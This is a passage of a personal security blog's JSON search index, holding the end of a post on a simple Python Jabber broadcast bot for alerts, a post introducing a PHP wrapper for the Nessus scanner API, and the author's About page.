auth=cl.auth(jid.getNode(),password,resource=jid.getResource()) if not auth: print \u0026#34;Authentication failed\u0026#34; sys.exit() # send the message id=cl.send(xmpp.protocol.Message(tojid, msg)) # some older servers will not send the message if you disconnect immediately time.sleep(1) We have the code, now use it! Save this code to something like jabbersend.py and execute it like this: python jabbersend.py all@broadcast.jabber.server message_file.txt\nIf all went OK, you should have received a message from jabber_bot@jabber.server :P\nOur internal implementation of this has been used in multiple areas. From broadcasting OSSEC alerts to broadcasting important events from cronjobs. The OSSEC broadcasting I\u0026rsquo;ll blog a little later, but you can obviously see the value that something like this brings. No more missing emails, if I receive a message from the bot, its important :)\n","permalink":"https://leonjza.github.io/blog/2013/05/25/how-to-extremely-simple-python-jabber-broadcast-bot/","summary":"\u003ch3 id=\"bots-bots-bots\"\u003eBots! Bots! Bots!\u003c/h3\u003e\n\u003cp\u003eGenerally speaking, a \u0026lsquo;\u0026lsquo;bot\u0026rsquo;\u0026rsquo; is something that like \u003cem\u003edoes work for you\u003c/em\u003e. But, for this purpose, the need for a jabber bot came from the fact that I had to deal with a lot of email on a daily basis. This large amount of mail sometimes would cause me to completely miss critical mail alerts. Realising later that I could have prevented a catastrophe if I didn\u0026rsquo;t miss that \u003cstrong\u003eone\u003c/strong\u003e email was just not on anymore. So, I started investigating ways to get the \u003cem\u003eimportant\u003c/em\u003e stuff delivered faster.\u003c/p\u003e\n\u003cp\u003eAs a team at work, we have long gone dropped the whole Skype group chat thing for our own Jabber server. My privacy related concerns back then was recently heightened \u003ca href=\"http://lists.randombit.net/pipermail/cryptography/2013-May/004224.html\"\u003ehere\u003c/a\u003e when a trap URL received a HEAD request from \u003cstrong\u003e65.52.100.214\u003c/strong\u003e. The user that received the URL in a chat was under strict instructions not to actually click it\u0026hellip;\u003c/p\u003e","title":"How To: Extremely simple python Jabber Broadcast Bot"},{"content":"Introduction Finally! A blog engine I like! :) No exceptionally bloated backend database with plugins that just get hacked. Yup, slim and sleek. And, I get to make posts using Vi :D Want in on this love? Have a look at Octopress . Yes, it was a real ball ache to get setup thanks to the ruby dependencies, but now that were rollin' this should be good :D\nFrustrations breed Ideas In my day job, I am exposed to a lot of work that will relate around the Nessus Vulnerability Scanner. Originally, interfacing with this scanner used be via a old and clunky flash interface. It was bad. They have since moved over to a HTML5, ajaxy interface that is light years better. However, for my needs, the default Nessus Interface just does not cut it.\nOpen source? Where do I start? Based on this old crappy interface, and the need to be able to automate things, I pulled closer the XMLRPC API reference documentation. Reading this revealed the API is actually very straight forward. Login -\u0026gt; get a token -\u0026gt; make POST with this token and receive XML. Great.\nI started hacking away at some PHP to test this out. Back then I was really very new to this \u0026lsquo;\u0026lsquo;development\u0026rsquo;\u0026rsquo; thing, so it was really tough to get my head around the concepts of working with the API. Nonetheless, we had something to work with, and this was implemented internally for numerous functions.\nSince then, nessus.php was born. The first iteration of this code was, well, worse than it is now, but its now very easy to use ( I believe ).\nInstantiate a NessusInterface instance To use this API, we first need to include it in our script, and then init the Class. Effectively, this will log into the scanner using the provided arguments and store the token in the object. Should it fail, it will raise an error.\n\u0026lt;?php require \u0026#34;nessus.php\u0026#34;; try { $api = new NessusInterface( $__url, $__port, $__username, $__password ); } catch(Exception $e) { preprint($e-\u0026gt;getMessage()); } Do some API calls Once you have the $api variable setup with a instance of NessusInterface, you can use any of the available calls. Most of the API calls will return some form of array:\n\u0026lt;?php try { $api-\u0026gt;feed(); # // Will return an array like:  # Array  # (  # [feed] =\u0026gt; ProFeed  # [server_version] =\u0026gt; 5.2.1  # [web_server_version] =\u0026gt; 4.0.37 (Build H20130515A)  # [expiration] =\u0026gt; 1406174400  # [msp] =\u0026gt; FALSE  # [loaded_plugin_set] =\u0026gt; 201305240915  # [expiration_time] =\u0026gt; 425  # )  } catch(Exception $e) { preprint($e-\u0026gt;getMessage()); } Reading the sources will reveal the structures of the returned arrays. Get the code here\nIts the small things This is by no means and elaborate \u0026ldquo;solution\u0026rdquo; really. It\u0026rsquo;s purely another building block for something bigger. A believe there are quite a few fundamentals that the Nessus Scanner does not cover, but perhaps that is beyond the scope of what its designed to do :)\n","permalink":"https://leonjza.github.io/blog/2013/05/24/hello-world-oh-and-heres-some-code/","summary":"\u003ch3 id=\"introduction\"\u003eIntroduction\u003c/h3\u003e\n\u003cp\u003eFinally! A blog engine I like! :) No exceptionally bloated backend database with plugins that just get hacked. Yup, slim and sleek. \u003cem\u003eAnd\u003c/em\u003e, I get to make posts using Vi :D\nWant in on this love? Have a look at \u003ca href=\"http://octopress.org\"\u003eOctopress\u003c/a\u003e . Yes, it was a real ball ache to get setup thanks to the ruby dependencies, but now that were rollin' this should be good :D\u003c/p\u003e","title":"Hello World! Oh and here's some code!"},{"content":"  [\u0026lsquo;Caffeine fueled\u0026rsquo;, \u0026lsquo;(╯°□°)╯︵ ┻━┻\u0026rsquo;, \u0026lsquo;Security guy\u0026rsquo;, \u0026lsquo;Metalhead\u0026rsquo;, \u0026lsquo;I saw your password\u0026rsquo;, \u0026lsquo;KOOBo+KXleKAv+KXlSnjgaM=']\n I am usually busy thinkering, tinkering, toggling, tweaking and testing!\n Twitter \u0026lt;\u0026ndash; the best way to get hold of me!  My FOSS projects are all on Github, some on my personal profile, others in my employer\u0026rsquo;s org.\n Github (personal) Github (employer)  ","permalink":"https://leonjza.github.io/about/","summary":"  [\u0026lsquo;Caffeine fueled\u0026rsquo;, \u0026lsquo;(╯°□°)╯︵ ┻━┻\u0026rsquo;, \u0026lsquo;Security guy\u0026rsquo;, \u0026lsquo;Metalhead\u0026rsquo;, \u0026lsquo;I saw your password\u0026rsquo;, \u0026lsquo;KOOBo+KXleKAv+KXlSnjgaM=']\n I am usually busy thinkering, tinkering, toggling, tweaking and testing!\n Twitter \u0026lt;\u0026ndash; the best way to get hold of me!  My FOSS projects are all on Github, some on my personal profile, others in my employer\u0026rsquo;s org.\n Github (personal) Github (employer)  ","title":"About Me"}]